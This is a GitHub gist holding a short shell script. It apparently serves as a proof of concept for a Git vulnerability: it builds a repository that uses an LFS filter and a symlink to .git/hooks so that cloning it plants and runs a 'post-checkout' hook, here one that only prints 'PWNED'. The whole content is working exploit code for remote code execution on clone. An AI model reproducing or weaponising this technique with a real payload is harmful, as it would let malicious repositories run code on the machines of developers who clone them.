-
-
Save halamaitah3/ffb4df11ad97bd8ac0eaa1ebe867ab3c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| git init delayed-checkout && | |
| ( | |
| cd delayed-checkout && | |
| echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \ | |
| >.gitattributes && | |
| mkdir A && | |
| printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout && | |
| chmod +x A/post-checkout && | |
| >A/a && | |
| >A/b && | |
| git add -A && | |
| rm -rf A && | |
| ln -s .git/hooks a && | |
| git add a && | |
| git commit -m initial | |
| ) && | |
| git clone delayed-checkout cloned |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment